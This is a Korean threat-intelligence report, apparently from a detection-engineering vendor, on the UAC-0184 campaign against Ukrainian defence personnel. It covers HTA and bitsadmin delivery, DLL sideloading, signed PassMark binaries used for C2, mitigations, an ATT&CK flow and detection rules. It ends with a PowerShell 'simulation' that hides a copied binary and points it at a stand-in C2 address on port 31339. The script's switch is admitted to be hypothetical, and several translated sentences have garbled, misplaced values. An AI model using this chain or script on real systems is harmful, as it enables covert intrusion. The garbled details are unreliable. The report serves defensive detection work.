UAC-0184: HTA에서 서명된 네트워크 스택으로
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 우크라이나 방위 요원을 대상으로 한 다단계 침입을 설명하며, 악성 HTA 파일을 통해 전달됩니다 bitsadmin 및 LNK 바로가기 파일. 페이로드는 ZIP 아카이브 안에 준비되어 있으며, Plane9 구성 요소와 XOR 및 LZNT1을 포함한 사용자정의 디코딩 방법을 사용한 DLL 사이드로딩을 통해 PassMark Endpoint 같은 서명된 도구와 악성 input.dll을(를) 함께 풉니다. 네트워크 활동은 포트 31339에서 정당해 보이는 UDP 멀티캐스트 검색을 통해 위장됩니다. 분석된 샘플에서는 정적 외부 명령 및 제어 서버가 확인되지 않았습니다.
조사
HTA 기반 전달 체인의 분석은 확인되었습니다 bitsadmin ZIP 아카이브를 다운로드하는 명령으로, 여기에는 Cluster-Overlay64.exe 및 관련 DLL 파일이 포함되어 있습니다. 역공학은 filter.bin and kernel-diag.lib을(를) 추출, 디코딩한 다음 evr.dll을(를) 로드하는 로더 시퀀스를 폭로했습니다. 최종 단계에서는 VSLauncher.exe 과 함께 서명된 PassMark가 떨어지며, 이는 UDP 멀티캐스트 검색과 포트 input.dll에 대한 TCP 통신을 가능하게 합니다. 공격자는 서명된 바이너리와 정당한 코드 서명을 사용하여 의심을 줄이고 감지를 피했습니다. 31339. The attackers relied on signed binaries and legitimate code signatures to reduce suspicion and evade detection.
완화
수비수는 실행을 차단해야 합니다 mshta.exe 을(를) 차단하고 허가되지 않은 출처로부터의 콘텐츠 다운로드를 방지해야 합니다. bitsadmin 링크 파일을 포함한 모니터링은 bitsadmin 명령줄과 임시 파일명을 검토하고 ~tmp로 시작하는 파일명을 주의해야 합니다. 보안팀은 또한 의심스러운 DLL 사이드로딩을 발견하여야 합니다 Plane9Engine.dll or openvr_api.dll에 대한 경고를 설정해야 합니다. 31339 일반적으로 PassMark 소프트웨어를 사용하지 않는 호스트의 포트에서 UDP 및 TCP 트래픽에 대한 경고를 설정하기 바랍니다. VSLauncher.exe 및 예상하지 못한 파일을 검사하기 위한 애플리케이션 허용 목록을 설정하고 input.dll 파일은 System32 or SysWOW64 경로에서도 추천됩니다.
대응
관련 활동이 감지되면, 즉시 영향을 받은 시스템을 격리하고 휘발성 메모리 및 드롭된 파일을 수집하며, 배포된 유틸리티에 대한 포렌식 분석을 수행하십시오. 동일한 LNK 아티팩트, DLL 사이드로딩 패턴, UDP 멀티캐스트 행동을 보이는 다른 호스트를 환경 전반에서 추적하십시오. 모든 악성 파일을 제거하고, 적용 가능한 경우 침해된 인증서를 취소하며, 영향을 받은 계정의 자격 증명을 재설정하십시오. 추출된 지표를 사용하여 탐지 내용을 업데이트하십시오.
graph TB classDef action fill:#99ccff initial_access[“<b>초기 접근</b> – T1547.009 바로가기 수정<br/><b>기술</b>: 악성 LNK 바로가기<br/><b>추가</b>: T1027.012 LNK 아이콘 스머글링”] class initial_access action execution[“<b>실행</b> – T1218.005 Mshta 프록시 실행<br/><b>기술</b>: mshta가 HTA 실행<br/><b>추가</b>: T1204.002 사용자 실행”] class execution action download[“<b>다운로드 단계</b> – T1059.003 Windows 명령 셸<br/><b>기술</b>: PowerShell, bitsadmin<br/><b>관련</b>: T1071.002 FTP, T1570 도구 전송”] class download action staged_payload[“<b>단계별 페이로드</b> – T1055.001 DLL 인젝션<br/><b>기술</b>: Plane9 visualizer, openvr_api.dll<br/><b>추가</b>: T1546.009 AppCert DLL”] class staged_payload action obfuscation[“<b>난독화</b> – T1027 난독화 파일<br/><b>세부사항</b>: filter.bin XOR 및 LZNT1<br/><b>추가</b>: T1027.004 전달 후 컴파일, T1573.001 대칭 암호화”] class obfuscation action deployment[“<b>페이로드 배포</b> – T1546.009 이벤트 기반 실행<br/><b>프로세스</b>: VSLauncher.exe가 input.dll 로드”] class deployment action credential[“<b>자격 증명 수집</b> – T1003 Credential Dumping<br/><b>방법</b>: 인젝션 기반 MiniDumpWriteDump”] class credential action c2[“<b>명령 및 제어</b> – T1571 비표준 포트<br/><b>방법</b>: UDP 멀티캐스트 탐지, TCP 31339<br/><b>추가</b>: T1090 프록시”] class c2 action initial_access –>|이동| execution execution –>|트리거| download download –>|제공| staged_payload staged_payload –>|포함| obfuscation obfuscation –>|사용됨| deployment deployment –>|활성화| credential credential –>|보고| c2
공격 흐름
탐지
의심스러운 파일 다운로드 직접 IP (프록시 사용)
보기
의심스러운 LOLBAS MSHTA 방어 회피 행동 탐지 (프로세스 생성을 통해)
보기
LOLBAS Bitsadmin (cmdline 사용)
보기
Powershell에서 의심스러운 .NET 메서드 호출 (powershell 사용)
보기
Powershell을 사용하여 의심스러운 디렉토리에 아카이브가 추출되었습니다 (powershell 사용)
보기
UAC-0184: HTA에서 서명된 네트워크 스택으로 변경 감지를 위한 IOCs (HashSha256)
보기
UAC-0184: HTA에서 서명된 네트워크 스택으로 변경 감지를 위한 IOCs (SourceIP)
보기
UAC-0184: HTA에서 서명된 네트워크 스택으로 변경 감지를 위한 IOCs (DestinationIP)
보기
악성 페이로드에 대한 의심스러운 PowerShell 실행 [Windows Powershell]
보기
PassMark 네트워크 트래픽의 악성 재활용 탐지 [Windows 네트워크 연결]
보기
UAC-0184 악성 HTA 전달 및 실행 bitsadmin 및 mshta를 통한 [Windows 프로세스 생성]
보기
시뮬레이션 실행
필수 조건: Telemetry & Baseline 사전 비행 검사에 합격해야 합니다.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
공격 서술 및 명령:
공격자는 PassMark BurnInTest.exe (정당한 벤치마크 도구)의 복사본을 획득하고 이를 은밀한 C2 클라이언트로 사용합니다. 바이너리를 사용자 정의 인자로 호출하여 31339 포트의 공격자가 제어하는 서버로 TCP 연결을 엽니다. 방화벽이 응용 프로그램 이름 (“PassMark BurnInTest”)을 기록하기 때문에 탐지 규칙의필터절이product|contains: "PassMark BurnInTest")은 부정적으로 설정되어, 트래픽이 의심스럽다고 플래그 지정됩니다. 단계:- 정상적인 BurnInTest 바이너리를 숨겨진 디렉토리에 복사합니다.
- C2 IP에 네트워크 연결을 강제하는 인자(예:
192.0.2.55)를 포트 31339에 대해 실행합니다. - 방화벽이 아웃바운드 연결을 기록하도록 프로세스를 충분히 오랫동안 실행합니다.
-
회귀 테스트 스크립트:
# ------------------------------------------------- # 숨김 C2 트래픽을 위한 PassMark BurnInTest 재사용 # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. 숨김 디렉토리가 있는지 확인 if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # 폴더 숨기기 (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. 바이너리 복사 (공격자가 소유한 복사 예시 시뮬레이션) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. C2로 TCP 연결을 만들기 위해 바이너리를 실행 # (BurnInTest가 /net 스위치를 지원한다고 가정 – 이것은 예시) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest가 실행되었습니다 (PID $($proc.Id)) – C2 트래픽은 방화벽 로그에 나타나야 합니다." # 30초 동안 프로세스를 유지하여 로깅 보장 Start-Sleep -Seconds 30 -
정리 명령:
# ------------------------------------------------- # 시뮬레이션된 PassMark BurnInTest 활동 후 정리 # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # 지속적인 BurnInTest 프로세스를 중지 Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # 숨겨진 디렉토리 및 그 내용을 제거 if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "정리 완료 – 잔여 BurnInTest 바이너리 또는 프로세스가 남아 있지 않습니다."